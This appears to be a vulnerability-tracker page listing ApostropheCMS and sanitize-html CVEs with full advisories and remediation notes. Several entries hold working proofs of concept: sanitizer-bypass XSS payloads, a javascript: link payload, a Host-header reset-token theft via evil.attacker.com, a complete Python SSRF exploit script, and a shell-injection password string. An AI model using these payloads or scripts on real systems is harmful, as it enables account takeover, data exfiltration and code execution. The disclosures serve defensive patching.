Vendor
Apostrophecms
Products
3
CVEs
14
Across products
15
Status
Private
Products
3- 8 CVEs
- 6 CVEs
- 1 CVE
Recent CVEs
14| CVE | Sev | Risk | CVSS | EPSS | KEV | Published | Description |
|---|---|---|---|---|---|---|---|
| CVE-2026-44990 | cri | 0.59 | — | — | May 14, 2026 | ### Summary Under the default configuration, `sanitize-html` can turn attacker-controlled content inside a disallowed `xmp` element into live HTML or JavaScript. This is a sanitizer bypass in the default `disallowedTagsMode: 'discard'` path and can lead to stored XSS in applications that render sanitized output back to users. ### Details In `sanitize-html@2.17.3`, the default `nonTextTags` list includes only `script`, `style`, `textarea`, and `option` in `index.js` lines 138-142. That means disallowed `xmp` tags are not treated as "drop the entire contents" tags. Later, in the `ontext` handler at `index.js` lines 569-577, the code special-cases `textarea` and `xmp` and appends their text content directly to the output without escaping: ```js } else if ((options.disallowedTagsMode === 'discard' || options.disallowedTagsMode === 'completelyDiscard') && (tag === 'textarea' || tag === 'xmp')) { result += text; } ``` Because `htmlparser2` treats `xmp` as a raw-text element, markup inside `xmp` is parsed as text on input but becomes live markup again once it is appended unescaped to the sanitized output. This creates a default sanitizer bypass. For example, a disallowed `<xmp>` wrapper can be used to smuggle `<script>` or event-handler payloads through sanitization. The README also appears to contradict the implementation. In the "Discarding the entire contents of a disallowed tag" section, the documented exception list names only `style`, `script`, `textarea`, and `option`, and does not mention `xmp`. ### PoC Tested locally against `sanitize-html@2.17.3` on Node.js `v25.2.1`. 1. Install the package: ```bash npm install sanitize-html ``` 2. Run the following script: ```js const sanitizeHtml = require('sanitize-html'); console.log(sanitizeHtml('<xmp><script>alert(1)</script></xmp>')); console.log(sanitizeHtml('<xmp><img src=x onerror=alert(1)></xmp>')); console.log(sanitizeHtml('<xmp><svg><script>alert(1)</script></svg></xmp>')); ``` 3. Observed output: ```html <script>alert(1)</script> <img src=x onerror=alert(1)> <svg><script>alert(1)</script></svg> ``` 4. Render any of the returned strings in a browser context that trusts `sanitize-html` output, for example: ```js const dirty = '<xmp><script>alert(1)</script></xmp>'; const clean = sanitizeHtml(dirty); ``` If `clean` is inserted into the DOM or stored and later rendered as trusted HTML, the attacker-controlled script executes. ### Impact This is a cross-site scripting vulnerability in the default sanitizer behavior. Any application that uses `sanitize-html` defaults and then renders the returned HTML as trusted output is impacted. A remote attacker who can submit HTML content can trigger execution of arbitrary JavaScript in another user's browser when that content is viewed. | |
| CVE-2026-35569 | Hig | 0.50 | 8.7 | 0.00 | Apr 15, 2026 | ApostropheCMS is an open-source Node.js content management system. Versions 4.28.0 and prior contain a stored cross-site scripting vulnerability in SEO-related fields (SEO Title and Meta Description), where user-controlled input is rendered without proper output encoding into HTML contexts including <title> tags, <meta> attributes, and JSON-LD structured data. An attacker can inject a payload such as "></title><script>alert(1)</script> to break out of the intended HTML context and execute arbitrary JavaScript in the browser of any authenticated user who views the affected page. This can be leveraged to perform authenticated API requests, access sensitive data such as usernames, email addresses, and roles via internal APIs, and exfiltrate it to an attacker-controlled server. This issue has been fixed in version 4.29.0. | |
| CVE-2026-45011 | hig | 0.45 | — | — | May 14, 2026 | ### Summary A stored cross-site scripting vulnerability was identified in the image widget functionality. A user with the Editor role can configure an image widget link to use a javascript: URL payload. Because editors have permission to publish pages, the malicious widget can be published to the live site. When another user, including an administrator or public visitor, clicks the affected image/link, arbitrary JavaScript executes in the victim’s browser. ### Affected Version ApostropheCMS (tested on version: v4.29.0) ### Steps to Reproduce **Precondition** Ensure at least one image exists in the media library. If the media library is empty: - Log in as an Editor. - Open the media library. - Upload any JPG or PNG image. - Set any title, for example Probe image. - Publish the image and close the media manager. **Exploitation Steps** - Log in as an Editor. - Open the home page. - Enable edit mode for the page. - In the main content area, click Add content. - Select the Image widget. - Choose any existing image from the image picker and save/select it. - Open the image widget settings. - Locate the Link to field and change it to URL. - In the URL field, enter: ```javascript:alert(document.domain)``` <img width="1249" height="979" alt="image" src="https://github.com/user-attachments/assets/c7f77177-1711-461d-b9bd-14292a6996d5" /> - Save the image and click on Update. - As another user, such as an administrator or guest, open the published page and click the linked image. - Observe that the JavaScript payload executes. <img width="1267" height="1034" alt="image" src="https://github.com/user-attachments/assets/a80484b4-873a-47c1-8682-84626523008a" /> **Note**: This attack can also be performed by a Contributor. However, because contributors cannot publish content directly, the malicious image widget remains in the draft version and is only visible to users with access to review drafts, such as administrators or editors. If an administrator reviews and approves/publishes the affected draft, the stored XSS becomes part of the live page and can then affect all users who interact with the malicious image link. ### Impact Successful exploitation allows an Editor to store a JavaScript payload in published page content. When a victim clicks the affected image link, the payload executes in the victim’s browser. This may allow an attacker to: - perform actions in the context of an authenticated administrator - access sensitive information available in the CMS interface - modify page content or configuration - conduct phishing attacks within the trusted site - compromise visitors who interact with the published image link ### Recommendation Validate and sanitize all user-supplied URLs used in widget link fields. Specifically: - Reject dangerous URL schemes such as javascript:, data:, and other executable schemes. - Allow only safe protocols such as http:, https:, mailto:, and relative URLs where appropriate. - Normalize and validate URLs server-side before storage. - Encode rendered URLs safely in templates. - Consider applying a strict Content Security Policy to reduce the impact of XSS. | |
| CVE-2026-45013 | hig | 0.45 | — | — | May 14, 2026 | ## Summary ApostropheCMS's password reset flow constructs the reset URL using `req.hostname`, which is derived directly from the attacker-controlled HTTP `Host` header when `apos.baseUrl` is not explicitly configured. An unauthenticated attacker who knows a victim's email address can send a crafted reset request that causes the application to email the victim a reset link pointing to the attacker's domain. When the victim clicks the link, the valid reset token is delivered to the attacker, enabling full account takeover. ## Affected Component `modules/@apostrophecms/login/index.js` — `resetRequest` route Precondition: `passwordReset: true` is set **and** `apos.baseUrl` is not configured. ## Vulnerability Details The `setPrefixUrls` middleware (i18n layer) builds `req.baseUrl` using `req.hostname`: ```js // Simplified from i18n middleware req.baseUrl = `${req.protocol}://${req.hostname}`; req.absoluteUrl = req.baseUrl + req.url; ``` The `resetRequest` handler then passes this tainted value directly into URL construction: ```js const parsed = new URL( req.absoluteUrl, // ← tainted by attacker's Host header self.apos.baseUrl ? undefined : `${req.protocol}://${req.hostname}${port}` // ← also tainted ); parsed.pathname = '/login'; parsed.searchParams.append('reset', reset); // real, valid token parsed.searchParams.append('email', user.email); await self.email(..., { url: parsed.toString() }, ...); // Email sent to victim with URL pointing to attacker-controlled domain ``` When `apos.baseUrl` is configured, it is used unconditionally and the attacker's `Host` header is ignored — that path is **not** vulnerable. ## Attack Scenario 1. Attacker identifies a valid user email (e.g. from the site's public interface). 2. Attacker sends: ``` POST /api/v1/login/reset-request Host: evil.attacker.com Content-Type: application/json {"email": "victim@example.com"} ``` 3. The application emails the victim: ``` Click here to reset your password: http://evil.attacker.com/login?reset=TOKEN&email=victim@example.com ``` 4. Victim clicks the link; attacker's server captures `TOKEN`. 5. Attacker calls the real target's reset endpoint with the captured token and sets a new password — full account takeover. ## Preconditions - `passwordReset: true` configured in login module options (opt-in) - `apos.baseUrl` is **not** set (common in development and some production deployments) - Attacker knows or can enumerate a valid account email ## Impact Full account takeover of any account whose email address is known to the attacker. No authentication or interaction beyond sending a single HTTP request is required from the attacker. The victim need only click a link in a legitimate-looking password reset email from their own site. ## Remediation **Operators (immediate):** Always set `apos.baseUrl` in your configuration: ```js // app.js or module configuration modules: { '@apostrophecms/express': { options: { baseUrl: 'https://yourdomain.com' } } } ``` **Framework fix (recommended):** The `resetRequest` route should refuse to proceed if `apos.baseUrl` is not configured, rather than falling back to the tainted `req.hostname`. Example: ```js // In resetRequest handler if (!self.apos.baseUrl) { throw self.apos.error( 'invalid', 'apos.baseUrl must be configured to enable password reset' ); } const parsed = new URL(self.loginUrl(), self.apos.baseUrl); ``` This eliminates the attacker-controlled input entirely from the URL construction path. ## References - [OWASP: Host Header Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/17-Testing_for_Host_Header_Injection) - [CWE-640: Weak Password Recovery Mechanism for Forgotten Password](https://cwe.mitre.org/data/definitions/640.html) | |
| CVE-2026-45012 | hig | 0.45 | — | — | May 14, 2026 | ### Summary ApostropheCMS contains an authenticated server-side request forgery (SSRF) in the rich-text widget import flow. An authenticated user who can submit/edit rich-text widget content can cause the server to fetch attacker-controlled URLs during widget validation. For image-compatible responses, the fetched content can be persisted and re-hosted by Apostrophe, allowing response exfiltration. ### Details The vulnerable flow is in the rich-text widget sanitizer: - `packages/apostrophe/modules/@apostrophecms/rich-text-widget/index.js` - `packages/apostrophe/modules/@apostrophecms/area/index.js` - `packages/apostrophe/modules/@apostrophecms/widget-type/index.js` Relevant behavior: 1. The backend accepts a widget payload containing `import.html`. 2. It parses `<img src=...>` values from that HTML. 3. For each image, it resolves the URL with: - `new URL(src, input.import.baseUrl || self.apos.baseUrl)` 4. It then performs a server-side `fetch(url)`. 5. The fetched body is written to a temp file and imported through Apostrophe image/attachment logic. This is reachable during widget validation through: - `POST /api/v1/@apostrophecms/area/validate-widget?aposMode=draft` ### PoC 1. Start a local HTTP server with a valid PNG: ```bash mkdir -p /tmp/apos-poc base64 -d > /tmp/apos-poc/secret.png <<'EOF' iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8/x8AAwMCAO+y1n0AAAAASUVORK5CYII= EOF cd /tmp/apos-poc && python3 -m http.server 7777 --bind 127.0.0.1 ``` 2. Run the following Python PoC: ```python #!/usr/bin/env python3 import argparse import json import sys from urllib.parse import urljoin import requests def login(base_url: str, username: str, password: str) -> str: url = urljoin(base_url, "/api/v1/@apostrophecms/login/login") r = requests.post( url, json={ "username": username, "password": password }, timeout=20 ) r.raise_for_status() data = r.json() token = data.get("token") if not token: raise RuntimeError(f"Login succeeded but no token was returned: {data}") return token def trigger(base_url: str, token: str, area_field_id: str, target_url: str) -> dict: url = urljoin( base_url, "/api/v1/@apostrophecms/area/validate-widget?aposMode=draft" ) payload = { "areaFieldId": area_field_id, "type": "@apostrophecms/rich-text", "widget": { "type": "@apostrophecms/rich-text", "content": "<p>seed</p>", "import": { "html": f'<img src="{target_url}">', "baseUrl": target_url.rsplit("/", 1)[0] if "/" in target_url else target_url } } } r = requests.post( url, headers={ "Authorization": f"Bearer {token}", "Accept": "application/json" }, json=payload, timeout=30 ) r.raise_for_status() return r.json() def main() -> int: parser = argparse.ArgumentParser( description="Authenticated ApostropheCMS SSRF PoC via rich-text widget import." ) parser.add_argument("--base-url", default="http://127.0.0.1:3000") parser.add_argument("--username", default="admin") parser.add_argument("--password", default="admin123") parser.add_argument("--area-field-id", default="cd4f89f5b834d0036f3867f1507a8add") parser.add_argument("--target-url", default="http://127.0.0.1:7777/secret.png") parser.add_argument( "--fetch-image", action="store_true", help="Fetch the generated Apostrophe image URL after exploitation." ) args = parser.parse_args() try: token = login(args.base_url, args.username, args.password) result = trigger(args.base_url, token, args.area_field_id, args.target_url) except Exception as exc: print(f"[!] Exploit failed: {exc}", file=sys.stderr) return 1 print("[+] Login OK") print(f"[+] Bearer token: {token}") print("[+] Exploit response:") print(json.dumps(result, indent=2)) widget = result.get("widget") or {} image_ids = widget.get("imageIds") or [] if not image_ids: print("[-] No imageIds returned. Target may have been fetched but not persisted as an image.") return 0 image_id = image_ids[0] image_path = f"/api/v1/@apostrophecms/image/{image_id}/src" image_url = urljoin(args.base_url, image_path) print(f"[+] Generated image id: {image_id}") print(f"[+] Generated image URL: {image_url}") if args.fetch_image: r = requests.get(image_url, allow_redirects=True, timeout=30) print(f"[+] Final fetch status: {r.status_code}") print(f"[+] Final URL: {r.url}") print(f"[+] Retrieved bytes: {len(r.content)}") return 0 if __name__ == "__main__": raise SystemExit(main()) ``` 3. Example usage: ```bash python3 poc.py \ --base-url http://127.0.0.1:3000 \ --username admin \ --password admin123 \ --area-field-id cd4f89f5b834d0036f3867f1507a8add \ --target-url http://127.0.0.1:7777/secret.png \ --fetch-image ``` 4. Expected result: - The local listener receives: GET /secret.png HTTP/1.1 - The API response includes a rewritten Apostrophe image URL and imageIds. - The generated image URL can then be fetched through the application. Additional note: - If the target returns non-image content such as secret.txt, the SSRF still occurs, but later image processing can fail. This still allows blind or semi-blind SSRF behavior useful for internal reachability checks and rough port enumeration. ### Impact An authenticated user with permission to submit or edit rich-text widget content can: - trigger server-side requests to internal services (127.0.0.1, private subnets, etc.) - perform blind or semi-blind internal port and service discovery - exfiltrate image-compatible responses because Apostrophe stores and re-hosts the fetched content | |
| CVE-2026-40186 | Med | 0.33 | 6.1 | 0.00 | Apr 15, 2026 | ApostropheCMS is an open-source Node.js content management system. A regression introduced in commit 49d0bb7, included in versions 2.17.1 of the ApostropheCMS-maintained sanitize-html package bypasses allowedTags enforcement for text inside nonTextTagsArray elements (textarea and option). ApostropheCMS version 4.28.0 is affected through its dependency on the vulnerable sanitize-html version. The code at packages/sanitize-html/index.js:569-573 incorrectly assumes that htmlparser2 does not decode entities inside these elements and skips escaping, but htmlparser2 10.x does decode entities before passing text to the ontext callback. As a result, entity-encoded HTML is decoded by the parser and then written directly to the output as literal HTML characters, completely bypassing the allowedTags filter. An attacker can inject arbitrary tags including XSS payloads through any allowed option or textarea element using entity encoding. This affects non-default configurations where option or textarea are included in allowedTags, which is common in form builders and CMS platforms. This issue has been fixed in version 2.17.2 of sanitize-html and 4.29.0 of ApostropheCMS. | |
| CVE-2026-33889 | Med | 0.28 | 5.4 | 0.00 | Apr 15, 2026 | ApostropheCMS is an open-source Node.js content management system. Versions 4.28.0 and prior contain a stored cross-site scripting vulnerability in the @apostrophecms/color-field module, where color values prefixed with -- bypass TinyColor validation intended for CSS custom properties, and the launder.string() call performs only type coercion without stripping HTML metacharacters. These unsanitized values are then concatenated directly into <style> tags both in per-widget style elements rendered for all visitors and in the global stylesheet rendered for editors, with the output marked as safe HTML. An editor can inject a value which closes the style tag and executes arbitrary JavaScript in the browser of every visitor to any page containing the affected widget. This enables mass session hijacking, cookie theft, and privilege escalation to administrative control if an admin views draft content. This issue has been fixed in version 4.29.0. | |
| CVE-2026-39857 | Med | 0.27 | 5.3 | 0.00 | Apr 15, 2026 | ApostropheCMS is an open-source Node.js content management system. Versions 4.28.0 and prior contain an authorization bypass vulnerability in the choices and counts query parameters of the REST API, where these query builders execute MongoDB distinct() operations that bypass the publicApiProjection restrictions intended to limit which fields are exposed publicly. The choices and counts parameters are processed via applyBuildersSafely before the projection is applied, and MongoDB's distinct operation does not respect projections, returning all distinct values directly. The results are returned in the API response without any filtering against publicApiProjection or removeForbiddenFields. An unauthenticated attacker can extract all distinct field values for any schema field type that has a registered query builder, including string, integer, float, select, boolean, date, slug, and relationship fields. Fields protected with viewPermission are similarly exposed, and the counts variant additionally reveals how many documents have each distinct value. Both the piece-type and page REST APIs are affected. This issue has been fixed in version 4.29.0. | |
| CVE-2026-33888 | Med | 0.27 | 5.3 | 0.00 | Apr 15, 2026 | ApostropheCMS is an open-source Node.js content management system. Versions 4.28.0 and prior contain an authorization bypass vulnerability in the getRestQuery method of the @apostrophecms/piece-type module, where the method checks whether a MongoDB projection has already been set before applying the admin-configured publicApiProjection. An unauthenticated attacker can supply a project query parameter in the REST API request, which is processed by applyBuildersSafely before the permission check, pre-populating the projection state and causing the publicApiProjection to be skipped entirely. This allows disclosure of any field on publicly queryable documents that the administrator explicitly restricted from the public API, such as internal notes, draft content, or metadata. Exploitation is trivial, requiring only appending query parameters to a public URL with no authentication. This issue has been fixed in version 4.29.0. | |
| CVE-2026-33877 | Low | 0.17 | 3.7 | 0.00 | Apr 15, 2026 | ApostropheCMS is an open-source Node.js content management system. Versions 4.28.0 and prior contain a timing side-channel vulnerability in the password reset endpoint (/api/v1/@apostrophecms/login/reset-request) that allows unauthenticated username and email enumeration. When a user is not found, the handler returns after a fixed 2-second artificial delay, but when a valid user is found, it performs a MongoDB update and SMTP email send with no equivalent delay normalization, producing measurably different response times. The endpoint also accepts both username and email via an $or query, and has no rate limiting as the existing checkLoginAttempts throttle only applies to the login flow. This enables automated enumeration of valid accounts for use in credential stuffing or targeted phishing. Only instances that have explicitly enabled the passwordReset option are affected, as it defaults to false. This issue has been fixed in version 4.29.0. | |
| CVE-2026-42853 | 0.00 | — | — | May 14, 2026 | Summary The @apostrophecms/cli package contains a command injection vulnerability in the apos create command. User-supplied input from the password prompt is embedded directly into a shell command without proper sanitization or escaping. This allows execution of arbitrary commands on the host system. ━━━━━━━━━━━━━━━━━━━━━━ Details Vulnerable file: lib/commands/create.js Location: Line 186 The CLI collects a password using an interactive prompt and passes it directly into a shell command. Vulnerable code: const response = await prompts({ type: 'password', name: 'pw', message: '🔏 Please enter a password:' }); exec(echo "${response.pw}" | ${createUserCommand}); The value of response.pw is not validated, sanitized, or escaped before being used in exec(). This allows shell metacharacters such as ;, &&, and $() to break out of the intended command and execute arbitrary commands. ━━━━━━━━━━━━━━━━━━━━━━ Steps to Reproduce 1) Install the CLI npm install -g @apostrophecms/cli 2) Create a new project mkdir testproject && cd testproject apos create mysite 3)When prompted for the admin password, enter "; id > /tmp/apos_rce_proof.txt; echo " 4)Verify command execution cat /tmp/apos_rce_proof.txt ━━━━━━━━━━━━━━━━━━━━━━ Proof of Concept Output uid=1000(vboxuser) gid=1000(vboxuser) groups=1000(vboxuser),27(sudo),984(docker) This confirms arbitrary command execution with the privileges of the user running the CLI. ━━━━━━━━━━━━━━━━━━━━━━ Impact Arbitrary command execution on the developer’s machine Execution occurs with the privileges of the user running the CLI This can lead to: File modification or deletion Credential exposure System compromise depending on user privileges An attacker can exploit this by influencing the password input (for example, through social engineering, malicious documentation, or compromised automation scripts). The proof-of-concept shows execution under a user belonging to privileged groups such as sudo and docker, which may allow further privilege escalation depending on system configuration. ━━━━━━━━━━━━━━━━━━━━━━ Suggested Fix Avoid using exec() with user-controlled input. Use execFile() instead: const { execFileSync } = require('child_process'); execFileSync('node', [appJsPath, userTask, 'admin', 'admin'], { input: response.pw + '\n' }); ━━━━━━━━━━━━━━━━━━━━━━ Affected Version All current versions of @apostrophecms/cli ━━━━━━━━━━━━━━━━━━━━━━ Tested On Ubuntu 22.04 Node.js v18.19.1 ━━━━━━━━━━━━━━━━━━━━━━ CWE CWE-78 — Improper Neutralization of Special Elements used in an OS Command ━━━━━━━━━━━━━━━━━━━━━━ | ||
| CVE-2026-32730 | 0.00 | — | 0.00 | Mar 18, 2026 | ApostropheCMS is an open-source content management framework. Prior to version 4.28.0, the bearer token authentication middleware in `@apostrophecms/express/index.js` (lines 386-389) contains an incorrect MongoDB query that allows incomplete login tokens — where the password was verified but TOTP/MFA requirements were NOT — to be used as fully authenticated bearer tokens. This completely bypasses multi-factor authentication for any ApostropheCMS deployment using `@apostrophecms/login-totp` or any custom `afterPasswordVerified` login requirement. Version 4.28.0 fixes the issue. | ||
| CVE-2021-25979 | 0.00 | — | 0.00 | Nov 8, 2021 | Apostrophe CMS versions prior to 3.3.1 did not invalidate existing login sessions when disabling a user account or changing the password, creating a situation in which a device compromised by a third party could not be locked out by those means. As a mitigation for older releases the user account in question can be archived (3.x) or moved to the trash (2.x and earlier) which does disable the existing session. | ||
| CVE-2021-25978 | 0.00 | — | 0.00 | Nov 7, 2021 | Apostrophe CMS versions between 2.63.0 to 3.3.1 are vulnerable to Stored XSS where an editor uploads an SVG file that contains malicious JavaScript onto the Images module, which triggers XSS once viewed. |